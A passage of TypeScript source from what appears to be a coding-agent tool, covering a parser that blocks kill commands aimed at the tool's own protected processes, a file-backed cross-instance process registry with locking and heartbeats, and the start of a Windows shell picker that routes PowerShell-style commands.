\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // This must precede the POSIX signal form so `kill -Id` is not mistaken\n // for a signal named ID.\n const isStopProcIdCommand =\n /^(?:stop-process|kill)(?:\\s+-(?:id|pid)\\s+\\d+|\\s+-[a-zA-Z]+)+$/i.test(normalized);\n const stopProcIdMatch = normalized.match(/(?:^|\\s)-(?:id|pid)\\s+(\\d+)(?=\\s|$)/i);\n if (isStopProcIdCommand && stopProcIdMatch?.[1]) {\n return {\n pid: parseInt(stopProcIdMatch[1], 10),\n signal: 'FORCE',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 Git Bash / WSL: kill -s TERM 12345 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n const killSignalOptionMatch = normalized.match(/^kill\\s+-s\\s+([a-zA-Z0-9]+)\\s+(\\d+)$/i);\n if (killSignalOptionMatch?.[1] && killSignalOptionMatch[2]) {\n return {\n pid: parseInt(killSignalOptionMatch[2], 10),\n signal: killSignalOptionMatch[1].toUpperCase(),\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 Git Bash / WSL: kill -9 12345 or kill -TERM 12345 or kill 12345 \u2500\u2500\n // This branch must precede name parsing so a numeric target stays a PID.\n const killPosixMatch = normalized.match(/^kill\\s+(?:(-[a-zA-Z0-9]+)\\s+)?(\\d+)$/);\n if (killPosixMatch?.[2]) {\n const sig = killPosixMatch[1] ? killPosixMatch[1].slice(1).toUpperCase() : 'TERM';\n return {\n pid: parseInt(killPosixMatch[2], 10),\n signal: sig,\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 PowerShell Stop-Process -Name \"node\" (multi-char name) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // Uses greedier capture with end anchor to grab the full name.\n const stopProcNameMatch = normalized.match(\n /^(?:stop-process|kill)\\s+-(?:name|n)\\s+(?:['\"]([a-zA-Z0-9_.-]+)['\"]|([a-zA-Z0-9_.-]+))(?:\\s|$)/i,\n );\n const stopProcName = stopProcNameMatch?.[1] ?? stopProcNameMatch?.[2];\n if (stopProcName) {\n return {\n name: stopProcName,\n signal: 'FORCE',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 Bare name via PowerShell alias: kill node, stop-process node \u2500\u2500\n const stopProcStandalone = normalized.match(\n /^(?:stop-process|kill)\\s+['\"]?([a-zA-Z][a-zA-Z0-9_.-]+)['\"]?$/i,\n );\n if (stopProcStandalone?.[1]) {\n return {\n name: stopProcStandalone[1],\n signal: 'FORCE',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 WMIC process where \"name='node.exe'\" delete \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // Quote-stripping: capture everything between name=' and the next quote\n const wmicMatch = normalized.match(\n /^wmic\\s+process\\s+where\\s+['\"]?(?:name\\s*=\\s*['\"]?)([a-zA-Z0-9_.-]+)/i,\n );\n if (wmicMatch?.[1]) {\n return {\n name: wmicMatch[1],\n signal: 'FORCE',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // \u2500\u2500 Scripts named kill*.ps1, kill*.bat, kill*.cmd, kill*.sh \u2500\u2500\u2500\u2500\u2500\u2500\n // Blocked conservatively \u2014 we can't inspect script contents. Uses\n // SCRIPT_KILL_RE which ends with (?:\\s|$) so zero-arg scripts match.\n // Signal is FORCE (matching other name-based windows branches) since\n // isKillProtected always returns true for the \"kill-script\" sentinel.\n const killScriptMatch = normalized.match(SCRIPT_KILL_RE);\n if (killScriptMatch) {\n return {\n name: 'kill-script', // sentinel \u2014 isKillProtected always blocks \"kill-script\"\n signal: 'FORCE',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n return null;\n }\n\n // POSIX: explicit signal option, e.g. kill -s TERM 12345\n const signalOptionMatch = normalized.match(/^kill\\s+-s\\s+([a-zA-Z0-9]+)\\s+(\\d+|-?\\d+)$/i);\n if (signalOptionMatch?.[1] && signalOptionMatch[2]) {\n const pidOrGroup = signalOptionMatch[2];\n const isGroupKill = pidOrGroup.startsWith('-');\n return {\n pid: parseInt(isGroupKill ? pidOrGroup.slice(1) : pidOrGroup, 10),\n signal: signalOptionMatch[1].toUpperCase(),\n isGroupKill,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // Simple: kill -9 12345 or kill 12345\n const simpleMatch = normalized.match(/^kill\\s+(?:(-[a-zA-Z0-9]+)\\s+)?(\\d+|-?\\d+)$/);\n if (simpleMatch) {\n const signal = simpleMatch[1] ?? '-TERM';\n const pidOrGroup = simpleMatch[2];\n if (!pidOrGroup) return null;\n const isGroupKill = pidOrGroup.startsWith('-');\n const pid = isGroupKill ? parseInt(pidOrGroup.slice(1), 10) : parseInt(pidOrGroup, 10);\n\n return {\n pid,\n signal: signal.slice(1),\n isGroupKill,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // pkill name or pkill -signal name\n const pkillMatch = normalized.match(/^pkill\\s+(?:(-[a-zA-Z]+)\\s+)?(.+)$/);\n if (pkillMatch?.[2]) {\n const name = pkillMatch[2];\n const signalMatch = pkillMatch[1];\n return {\n name,\n signal: signalMatch ? signalMatch.slice(1) : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // killall name or killall -signal name\n const killallMatch = normalized.match(/^killall\\s+(?:(-[a-zA-Z]+)\\s+)?(.+)$/);\n if (killallMatch?.[2]) {\n const name = killallMatch[2];\n const signalMatch = killallMatch[1];\n return {\n name,\n signal: signalMatch ? signalMatch.slice(1) : 'TERM',\n isGroupKill: false,\n isAllKill: false,\n originalCommand: command,\n };\n }\n\n // pgrep returns PIDs (not a kill, but could be used with kill)\n const pgrepMatch = normalized.match(/^pgrep\\s+(.+)$/);\n if (pgrepMatch) {\n // pgrep by itself isn't dangerous, but log it\n return null;\n }\n\n return null;\n}\n\n/**\n * Get all protected process entries from the registry.\n */\nasync function getProtectedEntries(): Promise<PersistentProcessEntry[]> {\n const registry = getPersistentProcessRegistry();\n const status = await registry.getGlobalStatus();\n const entries: PersistentProcessEntry[] = [];\n\n for (const instanceEntries of status.instances.values()) {\n for (const entry of instanceEntries) {\n if (entry.protected && Date.now() - entry.lastHeartbeat < 30_000) {\n entries.push(entry);\n }\n }\n }\n\n return entries;\n}\n\n/**\n * Check if a parsed kill command targets a protected WrongStack process.\n */\nexport async function isKillProtected(kill: KillCommand): Promise<boolean> {\n const registry = getPersistentProcessRegistry();\n\n // Sentinel: kill-script is always blocked (script contents are opaque)\n if (kill.name === 'kill-script') {\n return true;\n }\n\n // For name-based kills, check if any protected process matches the name\n if (kill.name) {\n const entries = await getProtectedEntries();\n const killNameLower = kill.name.toLowerCase();\n\n for (const entry of entries) {\n if (entry.name?.toLowerCase().includes(killNameLower)) {\n return true;\n }\n }\n\n // Also check against our own hostname/process name patterns\n if (killNameLower.includes('wrongstack')) {\n return true;\n }\n if (killNameLower.includes('node') && entries.length > 0) {\n // Conservative: block pkill node if we have protected node processes\n return true;\n }\n return false;\n }\n\n // For group kills, block if any protected processes exist\n if (kill.isGroupKill) {\n const protectedPids = await registry.getAllProtectedPids();\n return protectedPids.length > 0;\n }\n\n // Single process kill - check if the target PID is protected\n if (kill.pid !== undefined) {\n return registry.shouldBlockKill(kill.pid);\n }\n\n return false;\n}\n\n/**\n * Main entry point: Check if a bash command contains a kill operation targeting protected PIDs.\n * Returns a result indicating whether to block and why.\n */\nexport async function checkAndBlockKillCommand(command: string): Promise<KillCheckResult> {\n const normalized = command.replace(/\\s+/g, ' ').trim();\n\n // First, extract any kill command from shell-wrapped commands\n const killCmd =\n extractKillCommand(normalized) || (isKillRelatedCommand(normalized) ? normalized : null);\n\n if (!killCmd) {\n return { blocked: false };\n }\n\n const parsed = parseKillCommand(killCmd);\n if (!parsed) {\n // It's kill-related but couldn't parse - conservative approach\n // e.g., complex pipelines involving kill\n if (killCmd.includes('kill') && /kill\\s+.*\\|/.test(killCmd)) {\n // kill piped to something - might be \"pkill node | xargs kill\"\n return {\n blocked: true,\n reason: `Blocked: complex kill pipeline detected \u2014 \"${killCmd.slice(0, 50)}...\"`,\n };\n }\n // Script-based kill (named kill*.ps1, kill*.bat, kill*.cmd, kill*.sh)\n // detected by isKillRelatedCommand but couldn't parse PID/name \u2014 block\n // conservatively because script contents are opaque\n if (SCRIPT_KILL_FALLBACK_RE.test(killCmd)) {\n return {\n blocked: true,\n reason: `Blocked: script-based kill detected \u2014 \"${killCmd.slice(0, 80)}\" may target protected WrongStack processes (cannot inspect script body).`,\n };\n }\n return { blocked: false };\n }\n\n if (await isKillProtected(parsed)) {\n let target: string;\n if (parsed.name) {\n target = `process name \"${parsed.name}\"`;\n } else if (parsed.pid !== undefined) {\n target = `PID ${parsed.pid}`;\n } else {\n target = '(unknown target)';\n }\n\n const signal = parsed.signal ? ` (${parsed.signal})` : '';\n const groupNote = parsed.isGroupKill ? ' (process group)' : '';\n return {\n blocked: true,\n reason: `Blocked: kill${signal} ${target}${groupNote} targets a protected WrongStack process.`,\n };\n }\n\n return { blocked: false };\n}\n\n/**\n * Get a safe error message for blocked kill commands.\n */\nexport function getBlockedKillMessage(pid: number, signal?: string): string {\n return (\n `Kill command blocked: PID ${pid}${signal ? ` (signal ${signal})` : ''} is a protected WrongStack process. ` +\n `Use 'exit' or Ctrl+C to gracefully terminate a WrongStack session.`\n );\n}\n", "/**\n * PersistentProcessRegistry \u2014 filesystem-backed process registry that survives\n * process restarts and coordinates protection across multiple WrongStack instances\n * running in different terminals.\n *\n * Key features:\n * - PIDs stored in ~/.wrongstack/process-registry.json\n * - File locking for cross-instance coordination\n * - Heartbeat mechanism to detect stale entries\n * - Protection whitelist that blocks kill commands targeting WrongStack processes\n * - Multi-instance awareness: all instances share the same protection state\n */\n\n// Note: spawn imported for potential future use with child process tracking\nimport * as fs from 'node:fs/promises';\n// Note: fsSync imported for potential future use with synchronous file operations\nimport * as os from 'node:os';\nimport { wstackGlobalRoot } from '@wrongstack/core/utils';\nimport * as path from 'node:path';\nimport type { ChildProcess } from 'node:child_process';\nimport { getProcessRegistry, type ProcessRegistryImpl } from './process-registry.js';\n\nconst REGISTRY_FILE = 'process-registry.json';\n\nfunction toErrorMessage(err: unknown): string {\n return err instanceof Error ? err.message : String(err);\n}\n\nfunction emitStructuredLog(level: 'debug' | 'info' | 'warn' | 'error', event: string, message: string, error?: unknown): void {\n const payload: { level: 'debug' | 'info' | 'warn' | 'error'; event: string; message: string; error?: string; timestamp: string } = {\n level,\n event,\n message,\n timestamp: new Date().toISOString(),\n };\n\n if (error !== undefined) {\n payload.error = toErrorMessage(error);\n }\n\n console.log(JSON.stringify(payload));\n}\nconst HEARTBEAT_INTERVAL_MS = 5_000;\nconst STALE_THRESHOLD_MS = 30_000;\n// A registry lock is only ever held for a brief read-modify-write; one older\n// than this means the holder crashed. This is the ONLY stale signal on\n// Windows, where process.kill(pid, 0) liveness checks are unreliable.\nconst LOCK_STALE_MS = 30_000;\nconst LOCKFILE = '.process-registry.lock';\n\nexport interface PersistentProcessEntry {\n pid: number;\n name: string;\n command: string;\n startedAt: number;\n lastHeartbeat: number;\n sessionId?: string;\n instanceId: string;\n /** Hostname where this process is running */\n hostname: string;\n protected: boolean;\n /** How this process was spawned: 'fork' (child_process.fork), 'spawn' (child_process.spawn), 'main' (the main WrongStack process itself) */\n spawnMode: 'fork' | 'spawn' | 'main';\n /** Parent PID if spawned via fork/spawn */\n parentPid?: number;\n /** OS platform where this entry was created */\n platform: string;\n}\n\nexport interface PersistentRegistryData {\n version: 1;\n instances: Map<string, PersistentProcessEntry>;\n protectedPatterns: string[];\n lastCleanup: number;\n}\n\n/**\n * Generate a unique instance ID for this WrongStack process.\n * Combines hostname + pid + random suffix for uniqueness across restarts.\n */\nfunction generateInstanceId(): string {\n const hostname = os.hostname();\n const pid = process.pid;\n const random = Math.random().toString(36).slice(2, 8);\n return `${hostname}:${pid}:${random}`;\n}\n\n/**\n * Acquire a file lock using flock-style locking.\n * On Windows, uses a separate lockfile with atomic rename.\n */\nfunction isNodeError(err: unknown): err is NodeJS.ErrnoException {\n return typeof err === 'object' && err !== null && 'code' in err;\n}\n\nasync function acquireLock(lockfilePath: string, timeoutMs = 5000): Promise<() => Promise<void>> {\n const start = Date.now();\n const pidStr = String(process.pid);\n const hostStr = os.hostname();\n\n while (Date.now() - start < timeoutMs) {\n try {\n // Try to create the lock file exclusively\n await fs.writeFile(lockfilePath, `${pidStr}:${hostStr}:${Date.now()}`, { flag: 'wx' });\n return async () => {\n try {\n await fs.unlink(lockfilePath);\n } catch {\n // Lock file may have been cleaned up by another process\n }\n };\n } catch (err) {\n if (isNodeError(err) && err.code === 'EEXIST') {\n // Lock exists - decide whether it is stale and stealable.\n try {\n const content = await fs.readFile(lockfilePath, 'utf-8');\n const parts = content.split(':');\n const lockPid = parseInt(parts[0] ?? '0', 10);\n // Content is `pid:host:timestamp`; the last field is the\n // acquisition time (host is never empty, so index is safe).\n const lockTs = Number(parts[parts.length - 1]);\n const staleByAge = Number.isFinite(lockTs) && Date.now() - lockTs > LOCK_STALE_MS;\n\n let holderDead = false;\n if (process.platform !== 'win32' && Number.isFinite(lockPid) && lockPid > 0) {\n try {\n process.kill(lockPid, 0); // Signal 0 just checks if process exists\n } catch {\n holderDead = true;\n }\n }\n\n // Steal when the holder is provably dead (Unix) OR the lock is older\n // than LOCK_STALE_MS. The age check is the only stale signal on\n // Windows \u2014 without it a crashed holder's lock wedges the registry,\n // and with it every kill-guard, permanently.\n if (holderDead || staleByAge) {\n await fs.unlink(lockfilePath).catch(() => {});\n continue;\n }\n } catch {\n // Can't read lock file - assume stale, try to steal\n await fs.unlink(lockfilePath).catch(() => {});\n continue;\n }\n\n // Holder still alive and lock fresh \u2014 wait before retrying\n await new Promise((r) => setTimeout(r, 100));\n continue;\n }\n throw err;\n }\n }\n throw new Error(`Failed to acquire lock after ${timeoutMs}ms`);\n}\n\n/**\n * Read and parse the persistent registry file.\n * Returns empty data if the file is missing, corrupted, or structurally wrong.\n */\nfunction freshRegistryData(): PersistentRegistryData {\n return {\n version: 1,\n instances: new Map(),\n protectedPatterns: ['wrongstack', 'node'],\n lastCleanup: Date.now(),\n };\n}\n\nasync function readRegistryFile(filePath: string): Promise<PersistentRegistryData> {\n let content: string;\n try {\n content = await fs.readFile(filePath, 'utf-8');\n } catch (err) {\n if (isNodeError(err) && err.code === 'ENOENT') return freshRegistryData();\n throw err; // genuine IO error (EACCES, EMFILE\u2026) \u2014 surface it\n }\n\n // A torn write (crash mid-persist) or hand-corruption must NOT throw here:\n // that would propagate through every kill-guard and wedge them forever with\n // no self-heal. Parse defensively and fall back to empty; the next write\n // overwrites the bad file.\n try {\n const parsed = JSON.parse(content) as Partial<PersistentRegistryData> & {\n instances?: unknown;\n };\n if (!parsed || typeof parsed !== 'object') return freshRegistryData();\n const base = freshRegistryData();\n return {\n version: 1,\n instances: Array.isArray(parsed.instances)\n ? new Map(parsed.instances as [string, PersistentProcessEntry][])\n : base.instances,\n protectedPatterns: Array.isArray(parsed.protectedPatterns)\n ? parsed.protectedPatterns\n : base.protectedPatterns,\n lastCleanup:\n typeof parsed.lastCleanup === 'number' ? parsed.lastCleanup : base.lastCleanup,\n };\n } catch {\n return freshRegistryData();\n }\n}\n\n/**\n * Write the registry file atomically using rename.\n */\nasync function writeRegistryFile(filePath: string, data: PersistentRegistryData): Promise<void> {\n const tmpPath = `${filePath}.tmp.${process.pid}`;\n const content = JSON.stringify(data, (_k, v) => {\n if (v instanceof Map) {\n return Array.from(v.entries());\n }\n return v;\n }, 2);\n\n await fs.writeFile(tmpPath, content, 'utf-8');\n await fs.rename(tmpPath, filePath);\n}\n\n/**\n * PersistentProcessRegistry wraps the in-memory ProcessRegistryImpl and\n * synchronizes entries to a filesystem-backed store for cross-instance coordination.\n */\nexport class PersistentProcessRegistry {\n private readonly instanceId: string;\n private readonly registryPath: string;\n private readonly lockPath: string;\n private readonly baseRegistry: ProcessRegistryImpl;\n private heartbeatInterval: ReturnType<typeof setInterval> | null = null;\n private cleanupInterval: ReturnType<typeof setInterval> | null = null;\n private heartbeatRunning = false;\n private cleanupRunning = false;\n private isShuttingDown = false;\n private readonly onProcessExit = (): void => {\n this.runInBackground(\n this.syncToPersistent(),\n 'process_registry.exit_sync_failed',\n 'PersistentProcessRegistry: exit sync failed',\n );\n };\n\n constructor(baseRegistry?: ProcessRegistryImpl) {\n this.instanceId = generateInstanceId();\n const globalRoot = wstackGlobalRoot();\n this.registryPath = path.join(globalRoot, REGISTRY_FILE);\n this.lockPath = path.join(globalRoot, LOCKFILE);\n this.baseRegistry = baseRegistry ?? getProcessRegistry();\n\n // Ensure the .wrongstack directory exists\n this.ensureDirectory().catch((err) => {\n emitStructuredLog('warn', 'process_registry.dir_create_failed', 'PersistentProcessRegistry: failed to create .wrongstack directory', err);\n });\n }\n\n private async ensureDirectory(): Promise<void> {\n const dir = path.dirname(this.registryPath);\n try {\n await fs.mkdir(dir, { recursive: true });\n } catch (err) {\n if (!isNodeError(err) || err.code !== 'EEXIST') throw err;\n }\n }\n\n private runInBackground(operation: Promise<void>, event: string, message: string): void {\n void operation.catch((err) => {\n emitStructuredLog('warn', event, message, err);\n });\n }\n\n /**\n * Start the heartbeat and periodic cleanup tasks.\n */\n start(): void {\n if (this.heartbeatInterval) return;\n this.isShuttingDown = false;\n\n // Register this instance's processes with the persistent registry\n this.heartbeat();\n\n // Heartbeat every 5 seconds to mark entries as alive\n this.heartbeatInterval = setInterval(() => {\n this.heartbeat();\n }, HEARTBEAT_INTERVAL_MS);\n this.heartbeatInterval.unref?.();\n\n // Cleanup stale entries every 30 seconds\n this.cleanupInterval = setInterval(() => {\n this.cleanup();\n }, STALE_THRESHOLD_MS);\n this.cleanupInterval.unref?.();\n\n // Register main process on startup\n this.registerMainProcess();\n\n // Sync on significant events\n process.on('exit', this.onProcessExit);\n }\n\n /**\n * Stop the heartbeat and clean up.\n */\n stop(): void {\n this.isShuttingDown = true;\n if (this.heartbeatInterval) {\n clearInterval(this.heartbeatInterval);\n this.heartbeatInterval = null;\n }\n if (this.cleanupInterval) {\n clearInterval(this.cleanupInterval);\n this.cleanupInterval = null;\n }\n process.off('exit', this.onProcessExit);\n this.runInBackground(\n this.syncToPersistent(),\n 'process_registry.stop_sync_failed',\n 'PersistentProcessRegistry: stop sync failed',\n );\n }\n\n /**\n * Register the main WrongStack process as protected.\n */\n registerMainProcess(): void {\n const mainPid = process.pid;\n\n this.runInBackground(\n this.updatePersistentEntry({\n pid: mainPid,\n name: 'wrongstack-main',\n command: process.argv.slice(0, 3).join(' '),\n startedAt: Date.now(),\n lastHeartbeat: Date.now(),\n instanceId: this.instanceId,\n hostname: os.hostname(),\n protected: true,\n spawnMode: 'main',\n parentPid: process.ppid,\n platform: process.platform,\n }),\n 'process_registry.main_register_failed',\n 'PersistentProcessRegistry: failed to register main process',\n );\n }\n\n /**\n * Register a spawned child process with the persistent registry.\n */\n registerChildProcess(pid: number, name: string, command: string, sessionId?: string, spawnMode: 'spawn' | 'fork' = 'spawn'): void {\n const entry: PersistentProcessEntry = {\n pid,\n name,\n command,\n startedAt: Date.now(),\n lastHeartbeat: Date.now(),\n instanceId: this.instanceId,\n hostname: os.hostname(),\n protected: true, // All WrongStack child processes are protected by default\n spawnMode,\n parentPid: process.pid,\n platform: process.platform,\n };\n if (sessionId) {\n entry.sessionId = sessionId;\n }\n this.runInBackground(\n this.updatePersistentEntry(entry),\n 'process_registry.child_register_failed',\n 'PersistentProcessRegistry: failed to register child process',\n );\n }\n\n /**\n * Update or add an entry in the persistent registry.\n */\n private async updatePersistentEntry(entry: PersistentProcessEntry): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n\n // Update or insert\n data.instances.set(String(entry.pid), entry);\n\n // Also update the in-memory registry\n const child: ChildProcess = null as unknown as ChildProcess;\n this.baseRegistry.register({\n pid: entry.pid,\n name: entry.name,\n command: entry.command,\n startedAt: entry.startedAt,\n sessionId: entry.sessionId,\n protected: entry.protected,\n child,\n });\n\n await writeRegistryFile(this.registryPath, data);\n } finally {\n await release();\n }\n }\n\n /**\n * Unregister a process from the persistent registry.\n */\n async unregister(pid: number): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n data.instances.delete(String(pid));\n await writeRegistryFile(this.registryPath, data);\n } finally {\n await release();\n }\n }\n\n /**\n * Send heartbeat to mark all this instance's processes as alive.\n */\n private heartbeat(): void {\n if (this.isShuttingDown || this.heartbeatRunning) return;\n\n this.heartbeatRunning = true;\n void this.syncToPersistent()\n .catch((err) => {\n emitStructuredLog(\n 'warn',\n 'process_registry.heartbeat_failed',\n 'PersistentProcessRegistry: heartbeat failed',\n err,\n );\n })\n .finally(() => {\n this.heartbeatRunning = false;\n });\n }\n\n private cleanup(): void {\n if (this.isShuttingDown || this.cleanupRunning) return;\n\n this.cleanupRunning = true;\n void this.cleanupStaleEntries()\n .catch((err) => {\n emitStructuredLog(\n 'warn',\n 'process_registry.periodic_cleanup_failed',\n 'PersistentProcessRegistry: periodic cleanup failed',\n err,\n );\n })\n .finally(() => {\n this.cleanupRunning = false;\n });\n }\n\n /**\n * Sync this instance's processes to the persistent registry.\n */\n private async syncToPersistent(): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n\n // Update heartbeat for all processes belonging to this instance\n const updatedInstances = new Map<string, PersistentProcessEntry>();\n\n for (const [_pidStr, entry] of data.instances) {\n if (entry.instanceId === this.instanceId) {\n entry.lastHeartbeat = now;\n }\n // Only keep non-stale entries (or entries from this instance)\n if (entry.instanceId === this.instanceId || (now - entry.lastHeartbeat) < STALE_THRESHOLD_MS) {\n updatedInstances.set(_pidStr, entry);\n }\n }\n\n data.instances = updatedInstances;\n data.lastCleanup = now;\n await writeRegistryFile(this.registryPath, data);\n } catch (err) {\n emitStructuredLog('warn', 'process_registry.sync_failed', 'PersistentProcessRegistry: sync failed', err);\n } finally {\n await release();\n }\n }\n\n /**\n * Remove entries for processes that are no longer running.\n */\n private async cleanupStaleEntries(): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const stalePids: string[] = [];\n\n for (const [_pidStr, entry] of data.instances) {\n const age = now - entry.lastHeartbeat;\n\n if (age > STALE_THRESHOLD_MS) {\n // Check if process is actually dead\n try {\n if (process.platform !== 'win32') {\n process.kill(entry.pid, 0);\n } else {\n // On Windows, try to open the process\n emitStructuredLog(\n 'debug',\n 'process_registry.stale_pid_check',\n `PersistentProcessRegistry: checking stale pid ${entry.pid} (${age}ms old)`,\n );\n }\n\n } catch {\n // Process is dead - mark for removal\n stalePids.push(_pidStr);\n }\n }\n }\n\n if (stalePids.length > 0) {\n for (const pidStr of stalePids) {\n data.instances.delete(pidStr);\n }\n await writeRegistryFile(this.registryPath, data);\n }\n } catch (err) {\n emitStructuredLog('warn', 'process_registry.cleanup_failed', 'PersistentProcessRegistry: cleanup failed', err);\n } finally {\n await release();\n }\n }\n\n /**\n * Check if a PID belongs to a WrongStack process and should be protected.\n */\n async isProtectedPid(pid: number): Promise<boolean> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const entry = data.instances.get(String(pid));\n\n if (!entry) return false;\n\n // Check if stale\n if ((Date.now() - entry.lastHeartbeat) > STALE_THRESHOLD_MS) {\n return false;\n }\n\n return entry.protected;\n } finally {\n await release();\n }\n }\n\n /**\n * Get all protected PIDs from all WrongStack instances.\n */\n async getAllProtectedPids(): Promise<number[]> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const protectedPids: number[] = [];\n\n for (const [_pidStr, entry] of data.instances) {\n if (entry.protected && (now - entry.lastHeartbeat) < STALE_THRESHOLD_MS) {\n protectedPids.push(entry.pid);\n }\n }\n\n return protectedPids;\n } finally {\n await release();\n }\n }\n\n /**\n * Get complete status of all tracked processes across all instances.\n */\n async getGlobalStatus(): Promise<{\n instances: Map<string, PersistentProcessEntry[]>;\n totalProcesses: number;\n protectedCount: number;\n staleCount: number;\n }> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n const now = Date.now();\n const instances = new Map<string, PersistentProcessEntry[]>();\n let protectedCount = 0;\n let staleCount = 0;\n\n for (const [_pidStr, entry] of data.instances) {\n const instanceEntries = instances.get(entry.instanceId) ?? [];\n instanceEntries.push(entry);\n instances.set(entry.instanceId, instanceEntries);\n\n if (entry.protected) protectedCount++;\n if ((now - entry.lastHeartbeat) > STALE_THRESHOLD_MS) staleCount++;\n }\n\n return {\n instances,\n totalProcesses: data.instances.size,\n protectedCount,\n staleCount,\n };\n } finally {\n await release();\n }\n }\n\n /**\n * Get the instance ID for this process.\n */\n getInstanceId(): string {\n return this.instanceId;\n }\n\n /**\n * Check if a kill command should be blocked.\n * Returns true if the kill should be blocked (target is a WrongStack process).\n */\n async shouldBlockKill(pid: number): Promise<boolean> {\n const protectedPids = await this.getAllProtectedPids();\n return protectedPids.includes(pid);\n }\n\n /**\n * Add a pattern-based protection rule.\n * Processes whose command matches any protected pattern are protected.\n */\n async addProtectedPattern(pattern: string): Promise<void> {\n const release = await acquireLock(this.lockPath);\n try {\n const data = await readRegistryFile(this.registryPath);\n if (!data.protectedPatterns.includes(pattern)) {\n data.protectedPatterns.push(pattern);\n await writeRegistryFile(this.registryPath, data);\n }\n } finally {\n await release();\n }\n }\n}\n\n// Singleton instance\nlet _persistentRegistry: PersistentProcessRegistry | undefined;\n\nexport function getPersistentProcessRegistry(): PersistentProcessRegistry {\n if (!_persistentRegistry) {\n _persistentRegistry = new PersistentProcessRegistry();\n }\n return _persistentRegistry;\n}\n\nexport function resetPersistentProcessRegistry(): void {\n if (_persistentRegistry) {\n _persistentRegistry.stop();\n _persistentRegistry = undefined;\n }\n}\n", "/**\n * Shell picker for the `bash` tool on Windows.\n *\n * Historically the bash tool always fell back to `cmd.exe` on Windows \u2014 a\n * reasonable default for the small set of POSIX-style commands the tool was\n * built around (`echo`, `dir`, `cd`, `set`, etc.). That breaks when the\n * caller emits PowerShell-style commands (e.g. Codex on Windows routinely\n * emits `Get-Content`, `Get-ChildItem`, `Set-Location`, \u2026), which `cmd.exe`\n * rejects with \"'Get-Content' is not recognized as an internal or external\n * command, operable program or batch file.\" This module decides \u2014 purely from\n * the command string and a few well-known env vars \u2014 which shell should run\n * the command. It returns a tagged value; bash.ts does the actual spawn.\n *\n * The picker never spawns anything itself, so it is safe to unit-test in\n * isolation. Shell *resolution* (finding the actual binary on PATH) lives in\n * `_win32-resolve.ts` and runs at spawn time.\n * @see {@link ../../docs/configuration.md#windows-shell-selection-wrongstackshell} for user-facing documentation of the WRONGSTACK_SHELL env var and auto-detection behavior.\n *\n * Selection precedence (Windows only):\n * 1. `WRONGSTACK_SHELL` env var, if it names a known shell (cmd | powershell\n * | pwsh). This is the override for users who want a fixed shell.\n * 2. Auto-detect: if the command \"looks like\" PowerShell \u2014 i.e. uses cmdlet\n * verb-noun syntax, $-variables, subexpressions, here-strings, etc. \u2014\n * route to PowerShell. Prefers `pwsh` (PowerShell 7+) and falls back to\n * `powershell` (Windows PowerShell 5.1) at spawn time.\n * 3. Default: `cmd.exe` (preserves legacy behavior).\n *\n * On non-Windows the picker is a no-op \u2014 bash.ts already routes through\n * `/bin/bash -c`. We return `'cmd'` as a sentinel value that means \"the\n * platform default\"; bash.ts maps it to the right binary.\n *\n * See docs/configuration.md \u00A7 \"Windows shell selection (WRONGSTACK_SHELL)\" for\n * user-facing documentation of the env var and auto-detection behaviour.\n */\n\nexport type BashShell = 'cmd' | 'powershell' | 'pwsh';\n\n/** Sentinel returned on POSIX \u2014 bash.ts maps this to `/bin/bash -c`. */\nexport const POSIX_DEFAULT: BashShell = 'cmd';\n\nexport interface PickShellEnv {\n /** Read-only env view. Tests pass `{ get: (k) => process.env[k] }`. */\n get(key: string): string | undefined;\n}\n\n/**\n * Decide which shell should execute `command` on `platform`. Pure function \u2014\n * no I/O, no side effects, no exceptions (invalid input returns the default).\n */\nexport function pickShell(\n platform: NodeJS.Platform,\n command: string,\n env: PickShellEnv,\n): BashShell {\n if (platform !== 'win32') return POSIX_DEFAULT;\n\n // 1. Explicit override. Unknown values are ignored (the override is a\n // safety hatch, not a free-form field \u2014 silently ignoring typos is\n // friendlier than throwing on a config typo).\n const override = env.get('WRONGSTACK_SHELL')?.trim().toLowerCase();\n if (override === 'cmd' || override === 'cmd.exe') return 'cmd';\n if (override === 'powershell' || override === 'powershell.exe') return 'powershell';\n if (override === 'pwsh' || override === 'pwsh.exe') return 'pwsh';\n\n // 2. Auto-detect: command looks like PowerShell.\n if (looksLikePowerShell(command)) return 'pwsh';\n\n // 3. Legacy default.\n return 'cmd';\n}\n\n/**\n * Heuristic PowerShell detector. Conservative on purpose \u2014 false positives\n * route `cmd.exe` work into PowerShell (different parsing rules, different\n * exit-code semantics, sometimes very different stdout), which is more\n * disruptive than a single \"command not 